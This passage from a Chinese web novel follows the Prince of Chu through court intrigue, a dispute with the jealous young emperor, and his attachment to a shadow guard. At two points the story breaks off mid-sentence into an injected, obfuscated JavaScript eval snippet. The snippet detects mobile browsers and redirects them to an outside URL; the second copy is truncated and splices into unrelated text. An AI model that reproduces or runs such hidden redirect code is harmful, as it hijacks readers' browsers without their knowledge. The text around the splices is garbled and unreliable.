徐公子这一瞥将楚王殿下素日的威风学了个六七分,那侍郎心里发虚,退了半步。周府尹暗叹一声,正要开口,一旁的孙御史忽然上前两步,拱手道:“殿下既然执意要走,臣等也不好强拦。只是此事关乎朝廷法度,臣忝为都察院御史,不敢坐视。为免旁人说三道四,臣斗胆,请殿下暂留府中一日。待臣具本上奏,得了圣谕,殿下再走不迟。” 这话说得冠冕堂皇,态度却十分强硬。徐青面色不变,心中却已绷紧。他下意识看向站在厅侧的韦良辅,韦良辅眉头深锁,微不可察地摇了摇头。 不等徐青回应,孙懋已朝厅外扬声道:“来人,请楚王殿下回后堂歇息。” 话音方落,厅外便涌进一队兵马司士卒,将前厅出口封得严严实实。 留在徐青身边的侍卫按剑上前一步,厉声道:“大胆!谁敢对殿下无礼!” 王府护卫司人数不少,并不惧怕兵马司,但是孙懋打了个出其不意,再则厅中并非楚王本尊,护卫司之人没能及时反应,让这群士卒闯了进来,将此处团团围住。 孙懋松了口气。如此便已成事大半,纵使楚王手里再有万万兵马又是如何,只要控制住楚王本人,他们又占着理,便是皇帝也说不了什么。更何况听宫里探子说,楚王和皇帝早已闹掰,皇帝听闻此事,说不定会顺水推舟,在心里感激他们。 孙懋拱手道:“殿下息怒,臣也是按规矩办事。”他身后那名侍郎又阴恻恻地补了一句:“楚王殿下手握京营,如今又无诏擅归,若是传出去,旁人怕是要多想的。殿下,臣等是为您好。” 此言一出,满堂寂静。徐青再怎么临危不乱,心性还是稍逊一筹,他能扮出楚王的从容,却扮不出那份积威多年的杀伐决断。面对刀枪环伺,他稳稳坐着,指节却已在袖中攥得发白。 “谁给你们的胆子,敢闯本王的门! 就在此时,后堂传来一阵不疾不徐的脚步声。 那话语声金玉相击。厅中众人齐齐回首,只见一人披着狐裘大氅自屏风后转出,容光慑人,泰然自若,仿佛这满厅的刀光剑影不过是廊下的一场薄雪。他身后还跟着一个侍卫,面沉如水,步履无声。 孙懋瞳孔骤缩,目光在两个“楚王”之间飞快扫过。 徐青大大松了口气,站起身来,口中尊称殿下,垂首拱手,让至一旁。 这下满厅的人都明白了七八分,脸色一个赛一个精彩。 封歧缓步至厅前。王府护卫自他身后分涌而出,甲胄相击之声铮然作响,长刀半出鞘,与兵马司之人势成犄角,毫不相让。兵马司的士卒们面面相觑,气势已然弱了半截。 封歧在门外廊下站定,目光淡淡扫过在场诸人,最后落在孙懋面上,唇角微弯,似笑非笑:“孙御史,本王有几句话想与大人私下说道说道。不知大人可赏这个脸?” 孙懋额角渗出细密的汗珠,他知道没有拿下楚王,今日这局已输,他定了定神,拱手道:“殿下有命,下官岂敢不从。” 众人退去后,侧厅内只余封歧与孙懋二人。 封歧并不急着开口,踱至窗前,将半掩的窗扇推开了些。院中积雪映着日光,亮得晃眼。他负手看了一会儿,方道:“孙大人,本王就直说了。本王如今已识得兴乾会真面目,轻而易举便可公告天下,届时兴乾会为反贼,你孙懋便是附逆。” 封歧转过身来,面上仍带着几分浅淡的笑意:“当然,你们手里也有证据让本王脱不了干系,不过本王经营多年,朝中枝叶非你们能想象,不过区区人证,最多麻烦了点,还不能让本王伤筋动骨。本王丢了体面,你孙大人丢了脑袋,大家都没有好下场。孙大人觉得呢?” 18. 第 18 章 回到京师时已近年关,楚王府里挂上了大红灯笼,增添不少喜气。 成谨伴楚王而行,走到王府后院的荡淞湖边,驻足而立。湖面落雪,两岸垂柳杨枝结满雪白淞花,银装素裹,恍如世外。偶有两只长尾山雀扑棱棱飞过,惊落簌簌雪屑。 “殿下行事是越来越不忌了,无诏也敢大摇大摆地回京,好在陛下给你薄面,今日朝会上替你圆了过去。下朝后翰林院王学士拜访我爹,虚心求问,朝史该怎么编写,才不堕殿下清名。” 说着,成谨眼前浮现出今晨朝会的那一幕。 楚王无诏回京,昨天夜里赶到南门外,大张旗鼓地叫开城门,半点不见心虚。众臣睡梦里闻此讯,当场便有无数言官爬起身,磨刀霍霍,写就劾本,早晨顶着青眼圈到金銮殿上指着楚王鼻子骂了个狗血淋头。 罪魁祸首一声不吭,两眼一闭,八风不动,那群言官唱着独角戏,也渐觉无趣,悻悻地收了声。大殿上一时冷场。最后还是皇帝陛下亲切地问了句:皇叔可有话说? “臣有,”楚王殿下这才给陛下面子,毕恭毕敬地自辩,“臣乃是因行宫失火一案,负失察之罪,往留都自省。说来也巧,臣在留都意外获知此案线索,这才兼程赶回。此案事关本朝邦交,兹事体大,臣不敢迁延,未得陛下允准便擅归京师,臣知罪,请陛下责罚。” 皇帝便道:“皇叔也是为了大夏和朕,一片丹心。”又道:“皇叔身在留都尚不忘为朕分忧,依朕看,非但无过,反倒该赏。” 楚王忙道臣岂敢,皇帝直称皇叔实乃本朝柱石。最后叔慈侄孝,其乐融融,偌大的擅专之罪不了了之。 “照实写便是,”楚王浑不在意,负手踩上湖面曲桥,“活这一世痛快,谁管得了身后虚名。” 成谨道:“看得出来,今日陛下被你气得不轻,下朝后将我等督办失火案的有司全唤了去,骂了足足半个时辰,真真是阎王打架小鬼遭殃。我过来也是为此事,你说的线索速速交给我,我倒要看看幕后主使到底是何方神圣。” 楚王“唔”了一声,反问:“你们查到哪一步了?” 成谨:“有两个行宫太监利用夜香车运进火油和硫磺硝石,不过纵火的是受害使团的人,我们猜测此事与高丽大王子有关。剩下的使臣还在京师,成天嚷嚷着要为他们六王子讨个公道,我上回去问关于大王子的事,差点横着出来,真是一群蛮子!” 楚王点点头:“幕后确实是高丽大王子。” 成谨:“但是高丽的人何以调得动那么多宫人?那些宫人作为暗桩,已经潜伏二三十载,高丽哪有这等本事。” 楚王脚步一顿。 此时他们已经来到了湖心亭,天地皆白,小亭如孤舟一叶,泊于无垠雪色间。 “守正。” 楚王面向好友,唤了一声他的字。 成谨微怔,头一回在楚王面上看到这般肃然郑重之色,不由也随之敛容,拱手道:“殿下请讲。” 楚王覆上他的手,轻轻一按,以示不必多礼。 “本王可以信成家么?” 成谨:“臣父乃殿下亲手擢拔,多年为殿下奔走,早已绑在这条船上。若说臣父子尚不可信,这朝中殿下便再无可信之人了。” 楚王:“失火案幕后,除了高丽大王子,还有一个组织——兴乾会。” 成谨蹙眉:“那是什么?” 因他不曾经手楚王遇刺一案,刑部过往牵扯的相关案子也都是些琐碎小案,是以对这兴乾会并无印象。 楚王:“此会所图不小,本王疑其乃前朝余孽——” 成谨倒抽一口凉气,却未急着抢白,他知楚王如此郑重,必有下文。果然,楚王略作停顿,又道:“在南都时,兴乾会的人主动寻上门来,以把柄要挟,逼本王与他们联手。” 成谨再按捺不住:“好大的口气。他们凭何要挟殿下?” 楚王轻叹一声:“守正,朝中一直有流言,说本王并非先帝骨血,你应当也听说过。” 成谨镇定道:“殿下不用担心,区区物议,没有实证,何足道哉。” 楚王不单是一尊靠山,更代表着盘根错节的巨大利益。纵有巨浪打来,他身后也有无数人拼力不让这条船翻覆。 楚王:“昔年本王母妃身边有一得用女使,侥幸活了下来,如今落到了兴乾会手里。宫里尚未彻底换代,有不少识得她的人,若是她出面质疑本王的身世,纵有元辅在朝中周旋,也棘手得很。兴乾会正是以此为把柄。本王为免生变,只得假意应承,暂作安抚。守正,此次纵火案便以高丽内讧结案,不必再往下深究。待本王寻到那宫女藏身所在,除了后患,再与兴乾会算总账不迟。” 成谨眉头紧锁:“也罢。只是此案虽由我刑部牵头,尚有都察院、大理寺并锦衣卫会审。锦衣卫有你的人,大理寺卿又是我爹门生,倒还好说。唯独都察院那帮清流,油盐不进。我只能将案卷做得滴水不漏,叫他们挑不出纰漏,若糊弄不过去,后头恐怕仍要追查。” 封歧道:“无妨,拖得一时是一时。” 正说着话,忽有一人自曲桥那头走来。封歧便住了口,目光落在来人身上,眉眼舒展,唇畔也不由自主含了一抹笑。 成谨瞧见楚王殿下这副满面春情的模样,不由摸了摸下巴,仔细打量来人。来的是个高挑矫健的男人,穿着灰色衣服,袖口、腿部、腰间都用绑带束着,一副干脆利落的武人打扮。非要说有什么惹眼的,便是腰间那一收束,愈发显得肩宽腰窄,双腿修长。至于长相,也称得仪表堂堂,但和府上的徐青相比,那可差得太远了。 只是这张脸瞧着有几分眼熟,仿佛在哪里有过一面之缘。成侍郎苦思冥想,却怎么也记不起来。 那人腿长步阔,转眼便过了曲桥,行至亭边,抱拳道:“殿下,宫中来使,圣驾将至。” 他走到亭边便止了步,楚王殿下反倒几步迎上前,拉近二人的距离,自然地执起手,说道:“怎么又穿这样少。” 成谨好奇心快炸开了,厚着脸皮凑上前:“这位兄台瞧着面善,殿下何不引荐引荐。” 十七忙道:“卑职十七,见过成大人。” 这名字一入耳,成谨顿时想了起来:“你是那个影卫!” 影卫可是皇帝的人,成谨霎时换上指责的眼神看向楚王。 楚王殿下安之若素:“我正要把他调离影卫司。” 成谨:“那可难办,影卫司不隶六部,自成一系,只听令于历代天子。吏部连他们的籍册也无,你想把人调出来,唯有陛下点头才行。况且他们对陛下忠心耿耿……” “好了,本王心里有数。”封歧看十七神色微黯,出声打断道。 成谨张了张嘴,似还有话要说,可看见封歧那副不容置喙的神情,终究咽了回去。只在心底叹了口气,目光复杂地又将那男人上下打量了一回,实在想不通殿下究竟灌了什么迷魂汤。莫非是殿下的障眼法?或是一时兴起? 眼见皇帝即将过来,成谨不便多留,就此告辞离开。 待封歧换好衣服,赶到门口照壁,圣驾恰至。王府众人在道旁跪迎,皇帝道了声“诸位请起”,便在楚王接引下往府内行去。 “不知陛下驾临所为何事?”封歧问道。 “无事便不能来找皇叔了么。”封麟垂眸轻叹,眉宇间十分自然地流露出些许委屈。他也许并非故意为之,只是在楚王面前示弱讨怜已成了本能。 封歧只道:“普天之下莫非王土,陛下想去何处便去何处。” 封麟一默,弯了弯唇角:“成日在宫里闷得慌,恰好皇叔回京,便过来散散心。皇叔刚刚在做什么?” 封歧答:“在湖心亭赏雪。” 说话间,花厅已近在眼前。封麟脚步一顿,怀念地道:“记得去年也是这个时候,也下了场雪,皇叔邀我过府烹茶赏雪,便是在湖心亭。” 封歧闻弦歌而知雅意:“陛下这边请。” 绪承安何等机敏,听到对话,立即悄步离去安排。待皇帝行至湖边,亭中茶器已陈设妥当。 叔侄二人隔案对坐。封麟理了理衣摆,看楚王行云流水地摆弄茶具,忽而道:“记得去年此时,因我畏寒,皇叔命人在亭子四面垂下竹帘,铺了厚厚毡毯,又燃了火盆,将我拢在怀中。我们便在这亭中,幕天席地荒唐了一场。” 封歧淡道:“往者不可谏。” 封麟今日过府确实如他自己所说,乃闲来无事,临时起意,本也没有什么特别的用意。可封歧待他恭敬有余,亲昵不足,他心里便渐渐不痛快起来。此刻故意拣起旧事,原是想从那张云淡风轻的脸上撬开裂隙,封歧的态度却与他想象中完全不同,如此冷淡,好似二人那些过往没有留下任何痕迹。封麟心底那点不痛快,瞬间发酵成了不甘。 不,不该是这样。封歧曾经那么爱他,连皇位都拱手相让,凭什么现在说放下就放下了?凭什么他从不挽留,从不怀念?那些刻骨铭心的过往,难道在封歧心里什么都不算? 被偏爱的人总有一种错觉,以为偏爱永不消退。甚至连封麟自己都没有意识到,他心底一直十分笃定,封歧会永远在原地等他。 封麟攥紧手指,颤声道:“皇叔……” 封歧恰好将新斟的茶递到他面前,温声道:“陛下请。” 被这一打岔,封麟将脱口的话也咽了回去。他垂下眼帘,捧起茶盏浅啜了一口,听封歧道:“说来微臣恰有一事,想恳请陛下恩准。” 封麟平复了一下心情:“皇叔但讲无妨。” “陛下先前赠臣的影卫十七颇为得用,臣想将他调进王府护卫司。” 封麟并没有立刻回答。 影卫十七。 他差点忘了这个人。原来这人也跟着活着回京了。 若是换个人,在这个当口,他必然一口答应。可偏偏是这个人。他想起那日封歧当着他的面将人拽入帐中亲吻,还有秋狝那时,封歧当众牵起那人的手。纵使理智告诉他那不过是封歧为了激怒他而演的一出戏,心底仍有一股嫉恨翻涌而上。 “陛下?”见他一直不说话,封歧试探道。 封麟回过神,勉强维持住体面:“影卫司虽挂了个衙门的名头,实则不隶各部。说到底,影卫不过是天子家奴。先帝组建此卫时曾有明训,影卫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555448|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名无籍,至死方销。若朕今日为皇叔开了这个先河,难保旁的影卫不会起意效仿,届时还谈什么忠诚。皇叔若想要他,留在身边使唤便是,何必这般兴师动众。” 封歧笑了笑:“规矩都是人定的,陛下贵为当今天子,为一个影卫立籍,方法多的是。” 封麟捏着茶盏的手指节发白,抬眸看他:“皇叔为何这般在意这个奴婢?” 事情未办好前,封歧不想刺激封麟,便道:“他屡次救臣性命,臣这也算是报答救命之恩罢。” “救命之恩……”封麟似笑非笑,“既是救命之恩,赏他一个自由身倒也不为过。只是祖训不可违,皇叔容朕思量思量。” 封歧闻言停下手里动作,露出一个由衷的笑:“多谢陛下。” 这个话题就此揭过。封麟又叙了会温情,便起身离开。 回宫的路走到一半,封麟忽然命舆轿折返。重新回到楚王府,叩开大门。府上仆役匆匆行礼,欲入内通报,却被皇帝身边的侍卫拦住。 “朕想起有事忘了和皇叔说。”封麟丢下这句话,径自向内闯去,无人敢阻拦。他穿过熟悉的门洞回廊,赶到主院。到这时,所有途遇的仆役全都被拦住,楚王并不知道他的到来。他抬手屏退下人,独自悄无声息地走到门边。 东窗半开,传来楚王的说话声。 “……握笔姿势不对……来,应该是这样……” “不对……” “嗯,写给我看看……” 封麟顺着回廊绕至窗下。窗户推开半扇,可见宽大的书案,影卫端坐着,楚王俯身立于他身后,上半身贴合在一起。楚王左手按在他肩头,右手覆在他执笔的手背上,正手把手地教他写字。 影卫看起来有些局促,紧绷着嘴唇,偏头避开楚王呵在耳边的吐息。楚王低笑一声,忽而启唇含住了眼前的耳廓。影卫手一抖,一个大字就此作废。 屋内二人看起来是那样亲密,心神全都牵在对方身上,竟都不曾注意到窗外来客。 封麟眼前猩红一片,疾步走到门前,推门而入,喝道:“你们在干什么!” 影卫脸上的血色一扫而空,便要起身跪地,却被楚王按住。楚王直起身,神情复杂地看过来:“陛下……” “救命之恩,好一个救命之恩!什么救命之恩要这样报答!” 封歧坦然道:“陛下既然都看到了,那臣也没什么好瞒的,一切都如您所想。” 封麟恨道:“好,你要找身边人,我不拦你。你不要我,我也不强求。可他凭什么?!他算什么东西!不过是我养的一条狗,背主求——” 眼见他越说越过分,封歧不由皱眉喝止:“璎奴!” 封麟一震,忽然失了言语的能力。这个称呼……这个称呼……封麟泪眼婆娑:“你有没有心?我和你在一起七年,你就当真这样绝情……” 封歧自知失言,冷眼相对,索性不再开口。 封麟恨到极处,反而笑了起来:“好,好好,你既决意如此,那我也不必孤身一人,明日就把江敕调到身边。” 封歧一哂:“陛下自便。” 封麟走后,屋中一片死寂。封歧立在原地,脸上什么表情也无,方才那份洒脱,仿佛随着关门声一同被抽走了。 许久,他才动了动,阖上窗户。他转过身,这才发现十七一直安静地坐着,便习惯地笑了笑,问了句:“还练字吗?” 十七没有接话,他抬头望了一眼封歧,那双眼里没有他熟悉的从容,只有掩不住的疲倦。 十七虽然不善言辞,却并非迟钝之人。恰恰相反,他对别人的情绪有种野兽般的直觉。此刻看着这样的楚王,心里说不出是什么滋味。 七年。人的一生,有几个七年?那些朝夕相对的日子,那些相互扶持的岁月,早已不是一句简单的情爱能说清的,他们血肉相连,往前一步是纠缠,退后一步是陌路。 七年里,他一直在阴影里,作为一个看客,看着这二人一路走到今日。他看着他们曾是彼此在这世上唯一的亲人,也看着他们在权力的刀光剑影里渐生猜忌。 殿下现在心里,想必很难过吧。也许方才那场对峙里,每一句冷言冷语,刺向皇帝陛下的同时,也在殿下心底剜了一刀。 “陛下……是个善良的人,”十七忽然出声,“小时候,卑职和兄长相依为命,乞讨为生。兄长有次抢食时遭人殴打,恰好官兵清道,方侥幸保得一命。陛下坐在轿子里经过,看到兄长倒在路边,大发善心,施下银两给他看伤。” 封歧在他的叙述里想起了封麟小时候救自己的场景,回忆起过去种种,他的神情有些怔忡。面对封麟时冷酷理智的面具,终于在此刻碎裂开,流露出无力与迷茫。 “是啊,儿时他总是好管闲事。”封歧自嘲地道。 过了会,又道:“本王真的曾以为,会和他一起相扶到白头。” 那我呢?我算什么?十七浮起一个念头,转瞬压了下去。 他一直知道,殿下对他有欲无爱,殿下亲近他,就像亲近一只小狗小猫一样。 他只是在殿下最孤单的时候,恰逢其会。如此而已。 19. 第 19 章 接下来两日一切按部就班,那天的不欢而散再无人提起。 腊月廿五,宫中一位老太妃失足跌了一跤,不幸薨逝。这位太妃生前享有先帝所赐封号,是位体面人物,膝下育有两子,只皆远在封地。封歧以晚辈之身入宫守灵三日,回府时整个人清减了一圈,衣服套在身上空荡荡的。他顾不得洗澡吃饭,倒在床上睡了个昏天黑地。 醒时屋里黑黢黢一片,想来是个多云之夜,一丝月光也无。封歧唤了声来人,外间顿时传来窸窣声响,未久,一盏烛灯飘了进来。 来人端着烛台,一连点亮三支蜡烛,暖黄灯火驱开四隅的暗色。 封歧:“怎么是你……” 绪总管一愣,试探道:“殿下想要谁伺候?”除却在南都的那段时日,素来是他贴身照料殿下起居。 封歧也知道自己问了个蠢话,摆了摆手,呻吟一声:“先扶本王起身。” 绪承安忙搁下烛台,上前搀扶。封歧身上仍是三日前的旧衣,原想先梳洗一番,可饥肠辘辘,四肢酸软,竟连起身都觉吃力。借着绪承安的力坐起来,他有气无力地道:“可有饭食?” “有,有。守灵只有生食,奴婢怕殿下饿得狠了,命人煮了粥,在外间炉子上温着,殿下喝点垫垫肚子,再有想吃的吩咐不迟。” 喝了粥,封歧又好好洗了个澡,这才觉得活过来。冬日天黑得早,这时方至酉时。寻常人家过年,一家子热闹热闹也就罢了,宗室却有不少仪制。封歧身为亲王,连日待在宫里,积下许多事务,等收拾利落,便去到书房,召集门客,一桩一桩解决。 出了房门,府中已焕然一新,自廿五起,上下扫尘除晦,换桃符、贴门神;以炭末塑成将军形状立于门侧,用以辟邪驱祟;檐下、枝头挂满了大小不一的灯笼,映得满府通明。倒是门上尚有些空。 封歧便问:“何以不贴春联和福字?” 绪公公答道:“正要请示殿下。往年都是宫里赐下春联和福字,今年到这个时候都没有动静……” 封歧道:“明日备下茶点,请韦先生写几幅对联便是。” 说话间已行至书房院外的月门,恰与联袂而来的韦良辅等人遇上。韦良辅道:“臣依稀仿佛听见殿下提了臣的名字?” 封歧便道:“先生一字千金,本王正想求几幅墨宝,还请先生赏光。” 韦良辅摸了摸胡须,扬起头矜持地道:“臣之笔墨轻易可不与人,想当年琉球一位富商为求臣的一副字,不惜远道千里而来,出黄金万两,臣也没给他。不过既然是殿下开口,臣自然无推辞之理。咳,不知殿下要写什么?” 封歧面色有些古怪:“嗯……是春联。” 韦良辅手势一顿。“噗嗤。”一旁的房九思已笑出了声。 来到书房,几人分主次落座。韦良辅道:“殿下奉旨参加正旦大朝贺,本该在前日和昨日两天前往朝天宫习仪,却因丧事错过了。殿下恐怕得在明天抽时间去礼部一趟,熟悉一下仪式流程。”正旦大朝贺乃春节当日最盛大的典礼,在此之前,礼部会组织所有参与的官员进行排练,熟习朝贺时的拜位礼序等仪节。 封歧颔首应下。韦良辅又道:“正旦当日呈进的贺表已由幼安代笔写好。” 徐青及时递上:“请殿下过目。” 封歧接过,简单翻看一遍,只见通篇华章字字珠玑,不由出言赞叹。 待此事拍案定下,韦良辅继续道:“这几日已有不少官员往府上递帖子拜贺,节礼已由绪公公造册入库,殿下可要看看?” 封歧摆手,韦良辅早知他不理会这些,便道:“有些官员阿谀拍马,不必理会,有些素来与王府往来的重臣、宗亲、勋贵,得及时回礼,这是臣整理的名单,殿下请看。” 韦良辅精于疏通朝廷脉络,待人接物最细心不过,由他整理的名单自然无可指摘。封歧略扫了一眼,便作主应下。 等所有事情条分缕析地议完,已到了戌时。诸人各自散去。封歧独自留下,轻轻敲了敲桌面,问绪承安:“怎么不见十七?” 孝悌跟前楚王殿下也不敢放肆,入宫守灵这三日,为免落下闲话,他一个人都没带。本以为回府后能立即看到十七,却没想到醒来已有数个时辰,仍是不见人影。 绪承安:“殿下不知,十七大人染了风寒。” 封歧微惊。那样强悍的人竟也会病倒。犹记得当初刚接他入府时,遍体鳞伤,连高热都不曾发,几日便下地行走了,如今却染上区区风寒。封歧不由有些担忧,转道往十七的住处去。 主院后面有一排倒座房,封歧身为王府主人,还是头一回来到此处。巷道狭窄,墙角堆着不化的积雪,因连日脏污,而显得有些不洁。他来到最东边一间,推开木门,矮身入内。屋子不过一丈见方,仅摆着一床一桌一凳。 桌上摆着一盏油灯,灯下压着几张满是墨迹的纸,封歧随手抽出一张,不由愣住,竟是前不久兴起教十七写字时作废的一张稿纸,本已团作一团叫人收拾了扔掉。纸面折痕仍在,被人细心地展平,收在这里。 封歧心情复杂,放下纸张,朝床铺望去。十七仍在沉睡。他进屋这般久,素日警醒的男人此刻却纹丝未动,想来当真病得不轻。 封歧走过去,坐在床沿上,探手轻轻贴住十七的额头,触手有些发烫。 因这番肌肤相亲,十七总算睁开眼,看着眼前的人,露出一个如坠梦中的迷蒙神情,抬手抓住封歧的手,喃喃道:“殿下……” 封歧“嗯”了一声。十七将手放到唇边,虔诚地落下一吻,然后再无动静,只是直直地望着他。 封歧已瞧出来了,他并未全然清醒,大约还以为身在梦中。楚王殿下倒是有些好奇,这个铁疙瘩的梦里,他会是什么样子? 于是封歧以不变应万变,不动声色地等着。 过了会,十七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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用完午食,还不得歇息,由皇帝牵头,宗亲们互相拜祝行礼,名曰“辞旧岁”。等忙完这阵,才得片刻空闲,封歧寻了处偏殿小憩。谁料刚酝酿出睡意,皇帝忽然到来,只得起身相迎。 封麟同他不冷不热地寒暄了两句,话音一转:“今夜除夕宴乃是家宴,诸叔伯俱携家眷到来,皇叔既有了房里人,何不也带来同乐。” 封歧皱眉:“陛下何必多此一问。臣与他到底不能请天地之约,带过来徒惹非议。况且他素来不喜在人前露面。” 封麟点点头:“皇叔对他还真是上心。” 封歧静了一瞬,尽力用温和的语气安抚道:“陛下,今夜宴席虽是家宴,却也至关紧要,切莫胡来。你要做什么,等过了今夜不迟。” 封麟神情古怪:“皇叔这话已经迟了。” 封歧一窒。不待他发问,封麟鼓了鼓掌心,门被人从外推开,于公公立在门外,身后站着的赫然便是十七。